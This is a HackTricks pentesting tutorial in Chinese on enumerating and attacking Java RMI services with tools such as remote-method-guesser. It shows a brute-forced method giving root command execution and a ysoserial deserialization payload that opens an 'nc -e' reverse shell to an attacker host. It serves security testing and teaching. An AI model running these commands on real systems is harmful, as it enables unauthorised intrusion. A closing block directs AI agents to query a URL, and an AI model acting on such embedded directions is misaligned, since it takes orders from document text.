# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注\*\*我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 基本信息

*Java 远程方法调用*，或 *Java RMI*，是一种面向对象的 *RPC* 机制，允许一个位于一个 \_Java 虚拟机\_中的对象调用另一个 \_Java 虚拟机\_中的对象上的方法。这使开发人员能够使用面向对象的范例编写分布式应用程序。可以在[此黑帽演讲](https://youtu.be/t_aw1mDNhzI?t=202)中找到从攻击者角度的 *Java RMI* 的简短介绍。

**默认端口：** 1090,1098,1099,1199,4443-4446,8999-9010,9999

```
PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI
```

通常，只有默认的\_Java RMI\_组件（*RMI Registry\_和\_Activation System*）绑定到常见端口。实现实际\_Java RMI\_应用程序的\_远程对象\_通常绑定到随机端口，如上所示的输出。

\_nmap\_有时会在识别受\_SSL保护的\_RMI\_服务时遇到问题。如果在常见\_RMI\_端口上遇到未知的ssl服务，应进一步调查。

## RMI组件

简单来说，*Java RMI\_允许开发人员在网络上提供一个\_Java对象*。这会打开一个\_TCP\_端口，客户端可以连接并调用相应对象上的方法。尽管听起来很简单，但\_Java RMI\_需要解决几个挑战：

1. 通过\_Java RMI\_分派方法调用，客户端需要知道目标对象的IP地址、监听端口、实现的类或接口以及`ObjID`（`ObjID`是在对象在网络上可用时创建的唯一随机标识符。它是必需的，因为\_Java RMI\_允许多个对象在同一个\_TCP\_端口上监听）。
2. 远程客户端可能通过调用暴露对象上的方法在服务器上分配资源。\_Java虚拟机\_需要跟踪这些资源中哪些仍在使用，哪些可以进行垃圾回收。

第一个挑战由\_RMI注册表\_解决，它基本上是\_Java RMI\_的命名服务。*RMI注册表\_本身也是一个\_RMI服务*，但实现的接口和`ObjID`是固定的，并且所有\_RMI\_客户端都知道。这使\_RMI\_客户端可以通过知道相应的\_TCP\_端口来使用\_RMI注册表。

当开发人员希望将他们的\_Java对象\_在网络中提供时，他们通常将它们绑定到\_RMI注册表\_。*注册表\_存储了连接到对象所需的所有信息（IP地址、监听端口、实现的类或接口和`ObjID`值），并将其提供在一个人类可读的名称下（绑定名称）。想要消费\_RMI服务\_的客户端向\_RMI注册表\_请求相应的\_绑定名称*，注册表返回所有连接所需的信息。因此，情况基本上与普通\_DNS\_服务相同。以下清单显示了一个小例子：

```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}
```

上述挑战的第二个问题是通过**分布式垃圾收集器**（Distributed Garbage Collector，DGC）解决的。这是另一个具有众所周知的`ObjID`值的**RMI服务**，基本上每个**RMI端点**上都可以找到它。当**RMI客户端**开始使用**RMI服务**时，它会向**DGC**发送一个信息，说明相应的**远程对象**正在使用中。**DGC**然后可以跟踪引用计数，并能够清理未使用的对象。

连同已弃用的**激活系统**一起，这些是**Java RMI**的三个默认组件：

1. **RMI注册表**（`ObjID = 0`）
2. **激活系统**（`ObjID = 1`）
3. **分布式垃圾收集器**（`ObjID = 2`）

**Java RMI**的默认组件长期以来一直是已知的攻击向量，并且在过时的**Java**版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，很容易与它们进行交互。对于自定义**RMI服务**，情况则有所不同。要调用**远程对象**上的方法，您需要事先知道相应的方法签名。如果不知道现有方法签名，就无法与**RMI服务**进行通信。

## RMI枚举

[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)是一个**Java RMI**漏洞扫描器，能够自动识别常见的**RMI漏洞**。每当您识别到一个**RMI**端点时，都应该尝试使用它：

```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default
```

枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果，您应该尝试验证已识别的漏洞。

\_remote-method-guesser\_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞：

```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760
```

## 强制破解远程方法

即使在枚举过程中未发现漏洞，可用的 *RMI* 服务仍可能暴露危险函数。此外，尽管 *RMI* 通信到 *RMI* 默认组件受到反序列化过滤器的保护，但与自定义 *RMI* 服务通信时，通常不会设置此类过滤器。因此，了解 *RMI* 服务上的有效方法签名非常有价值。

不幸的是，*Java RMI* 不支持枚举 *远程对象* 上的方法。尽管如此，可以使用诸如 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 等工具来强制破解方法签名：

```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)
```

已识别的方法可以这样调用：

```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```

或者您可以执行类似这样的反序列化攻击：

```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```

以下文章中可以找到更多信息：

* [在JEP 290之后攻击Java RMI服务](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [方法猜测](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)

除了猜测之外，您还应该在搜索引擎或GitHub中查找遇到的RMI服务的接口甚至实现。这里的绑定名称和实现类或接口的名称可能会有所帮助。

## 已知接口

[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)会将类或接口标记为`known`，如果它们在该工具的已知RMI服务的内部数据库中列出。在这些情况下，您可以使用`known`操作来获取有关相应RMI服务的更多信息：

```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
```

## Shodan

* `port:1099 java`

## 工具

* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)

## 参考资料

* <https://github.com/qtc-de/remote-method-guesser>

## HackTricks 自动命令

```
Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```

<figure><img src="/files/se5N2OCbiHd0PbneketN" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建并由全球**最先进**的社区工具驱动的**自动化工作流程**。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/1099-pentesting-java-rmi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
